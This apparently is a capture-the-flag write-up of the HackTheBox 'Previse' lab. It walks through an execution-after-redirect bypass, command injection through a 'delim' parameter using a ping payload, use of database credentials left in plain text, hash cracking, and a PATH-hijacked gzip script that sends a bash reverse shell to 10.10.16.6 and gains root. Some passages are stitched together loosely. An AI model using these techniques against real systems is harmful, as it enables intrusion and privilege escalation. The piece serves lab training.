nikto -h http://10.10.11.104
+ Server: Apache/2.4.29 (Ubuntu)
+ /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Root page / redirects to: login.php
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /config.php: PHP Config file may contain database IDs and passwords.
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /login.php: Admin login page/section found.
+ 8074 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2024-01-26 22:18:13 (GMT-5) (3261 seconds)
The footer gives a potential username. Some basic password guessing didn’t work, and I wasn’t able to get any different in error message between bad user and bad password:
Visiting the root / returns a HTTP 302 redirect to /login.php. However, there’s also a full page in that response:
This is an execution after redirect (EAR) vulnerability. The PHP code is likely checking for a session, and if there is none, sending the redirect. This is the example from the OWASP page:
<?php if (!$loggedin) {print"<script>window.location = '/login';</script>\n\n"; } ?>
This PHP code should have an exit; after that print. Otherwise, it sends the code that performs the redirect, but also prints the rest of the page.
Skipping Redirects:
By default, Burp intercept only stops requests, not responses. To see the root page, I’ll turn on Server Response Interception in Burp Proxy, and then turn Intercept On:
In Firefox, I’ll try to go to http://10.10.11.104 again, forwarding the request without changes, and Burp catches the response:
I’ll change “302 Found” to “200 OK”, and the page comes back: This page isn’t too useful, but it’s there. The are links across the top that go to four more pages:
Accounts (/accounts.php)
Files (/files.php)
Management Menu –> Website Status (/status.php)
Management Menu –> Log Data (file_logs.php)
To make this easier, I’ll put a rule in place to make this change always, keeping in mind that if I get a blank page, I should see if it was supposed to be a redirect:
status.php isn’t too interestingm other than that it identifies the back up database is MySQL:
While I can load both files.php and file_logs.php, they each contain functionality that return proper 302s, so I can’t access them without logging in. I’ll come back to these.
accounts.php has a message that only admins should be here, which is obviously not the case: I’ll fill in the form and submit, and it works: Now I can turn off the Burp rule and just log in.
Files:
The files page contains a single file called SITEBACKUP.ZIP:
http://10.10.11.104/files.php
I was able to view this page using the proxy 302 replace, but not download the zip. Logged in, I can download it. Unsurprisingly, it contains all the source for the site:
Log Data:
The other page is file_logs.php:
Clicking submit downloads a CSV of file data: If I change the delimiter to “space”, I get the same logs but space delimited, as expected:
Shell as www-data
Identify Command Injection:
I got access to the source code for the site, but this command injection can also be identified without it. I’ll show how I would approach it both ways.
Without Source:
The first thing I want to look at it the request when I request logs:
The other options submit space and tab. What happens when I submit something not in the list? I’ll send this to Burp Repeater and change it to 0xdf. The response is the same as comma:
I don’t recognize that log format, but the fact that the page is returning it with different delimiters means that likely some text pattern matching and rearranging is going on. While this can be done naturally in PHP, it’s not that easy, compared to Bash. It is possible that the programmer is reading the file and making the manipulations in PHP, but it’s also possible the author is using system or shell_exec to call something outside PHP.
I’ll try using a ; to add a command to the parameter:
delim=comma;ping -c 1 10.10.14.6 #
I’ll open tcpdump and then send this with Burp, and ICMP comes back:
sudo tcpdump -i tun0 icmp
That’s command injection.
With Source:
With the source code, I’ll start with a grep that will identify many of the dangerous PHP functions:
The first and last ones are comments, but the middle on in logs.php is interesting. That file:
<?phpsession_start();if (!isset($_SESSION['user'])) {header('Location: login.php');exit;}?><?phpif (!$_SERVER['REQUEST_METHOD'] =='POST') {header('Location: login.php');exit;}///////////////////////////////////////////////////////////////////////////////////////I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER///////////////////////////////////////////////////////////////////////////////////////$output =exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");echo $output;$filepath ="/var/www/out.log";$filename ="out.log";if(file_exists($filepath)) {header('Content-Description: File Transfer');header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="'.basename($filepath).'"');header('Expires: 0');header('Cache-Control: must-revalidate');header('Pragma: public');header('Content-Length: '. filesize($filepath));ob_clean(); // Discard data in the output bufferflush(); // Flush system headersreadfile($filepath);die();} else {http_response_code(404);die();}?>
The developer even left a comment about using Python because it was easier. The output is echoed, but then later it ob_clean() to get rid of that so it doesn’t come back in the response. There is no sanitization of the user input before it’s put into the call to exec, which means that I can add all sorts of injections to get execution, like ; [command] and $([command]).
Shell
To turn this RCE into a shell, I’ll simple add a reverse shell to the request with nc listening:
That password doesn’t work for any users on the box.
I’ll connect to the DB with mysql:
www-data@previse:/home/m4lwhere$ mysql -h localhost -u root -p'mySQL_p@ssw0rd!:)'
There are five databases, but only one that’s really interesting:
mysql> show databases;+--------------------+| Database |+--------------------+| information_schema || mysql || performance_schema || previse || sys |+--------------------+
It has two tables:
mysql>use previse;Reading table information for completion of tableand column namesYou can turn off this feature toget a quicker startup with-ADatabase changed
mysql> show tables;+-------------------+| Tables_in_previse |+-------------------+| accounts || files |
files looks to hold the actual files, as that’s what a blob type is typically used for:
mysql> describe files;+-------------+--------------+------+-----+-------------------+----------------+| Field | Type | Null | Key | Default | Extra |+-------------+--------------+------+-----+-------------------+----------------+| id | int(11) | NO | PRI | NULL | auto_increment || name | varchar(255) | NO | | NULL | || size | int(11) | NO | | NULL | || user | varchar(255) | YES | | NULL | || data | blob | YES | | NULL | || upload_time | datetime | YES | | CURRENT_TIMESTAMP | || protected | tinyint(1) | YES | | 0 | |+-------------+--------------+------+-----+-------------------+----------------+
I don’t want to do a select * from files as it will crash my session because the data is large. The only file is the one I already downloaded:
mysql>selectname,size,user,protected from files;+----------------+------+--------+-----------+| name | size | user | protected |+----------------+------+--------+-----------+| siteBackup.zip | 9948 | newguy | 1 |+----------------+------+--------+-----------+
accounts stores a name, password, and create time:
mysql> describe accounts;+------------+--------------+------+-----+-------------------+----------------+| Field | Type | Null | Key | Default | Extra |+------------+--------------+------+-----+-------------------+----------------+| id | int(11) | NO | PRI | NULL | auto_increment || username | varchar(50) | NO | UNI | NULL | || password | varchar(255) | NO | | NULL | || created_at | datetime | YES | | CURRENT_TIMESTAMP | |+------------+--------------+------+-----+-------------------+----------------+
The hash seems to be using an emoji character as part of the salt. This is a little silly, but nothing I can’t try to break.
Crack Hash:
However, it seems that the creator of this box likes to troll a bit and has included an emoji for salt in the password hash. Fortunately, MySQL can output the contents of a table to base64 which should make it easier to process.
mysql>select TO_BASE64(password) from accounts where id =1;+--------------------------------------------------+| TO_BASE64(password) |+--------------------------------------------------+| JDEk8J+ngmxsb2wkRFFwbWR2bmI3RWV1TzZVYXFSSXRmLg== |+--------------------------------------------------+
I’ll put the hash into a file and feed it to Hashcat. Based on the example hashes page, it looks like md5-crypt, or mode 500:
Enumeration:
m4lwhere can run sudo on a script, access_backup.sh:
m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere:
User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.sh
There’s an important line missing from that output where sudo has been misconfigured to allow the next exploit.
The script is backing up logs to /var/backups:
#!/bin/bash# We always make sure to store logs, we take security SERIOUSLY here# I know I shouldnt run this as root but I cant figure it out programmatically on my account# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's timegzip-c/var/log/apache2/access.log>/var/backups/$(date--date="yesterday"+%Y%b%d)_access.gzgzip-c/var/www/file_access.log>/var/backups/$(date--date="yesterday"+%Y%b%d)_file_access.gz
The comment says they knows they shouldn’t be running this as root, but that they need to fix the permissions later. That’s a directory that is owned by and writable by root, which is why m4lwhere needs sudo to run it:
m4lwhere@previse:~$ ls -ld /var/backups/
drwxr-xr-x 2 root root 4096 Jan 27 06:25 /var/backups/
Path Injection:
The vulnerability in this script is that gzip is called without a complete path. In /dev/shm, I’ll create a simple script called gzip. There are many things I could do, including just calling bash, though I had some issues getting that to work. I’ll have it write my public key into root’s authorized_keys file and spawn a reverse shell:
#!/bin/bashbash-i>&/dev/tcp/10.10.16.6/25600>&1
m4lwhere@previse:~$cd/dev/shmm4lwhere@previse:/dev/shm$nanogzipm4lwhere@previse:/dev/shm$lsgzipm4lwhere@previse:/dev/shm$catgzip#!/bin/bashbash-i>&/dev/tcp/10.10.16.6/25600>&1m4lwhere@previse:/dev/shm$exportPATH=/dev/shm:$PATHm4lwhere@previse:/dev/shm$echo $PATH/dev/shm:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/binm4lwhere@previse:/dev/shm$chmod+xgzipm4lwhere@previse:/dev/shm$sudo/opt/scripts/access_backup.sh[sudo] password for m4lwhere:
┌──(kali💀kali)-[~]
└─$ nc -nlvp 2560
listening on [any] 2560 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.104] 34958
root@previse:/dev/shm# whoami
root
root@previse:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root)
root@previse:~# locate root.txt
/root/root.txt
root@previse:~# cat /root/root.txt
2606a5---------------------------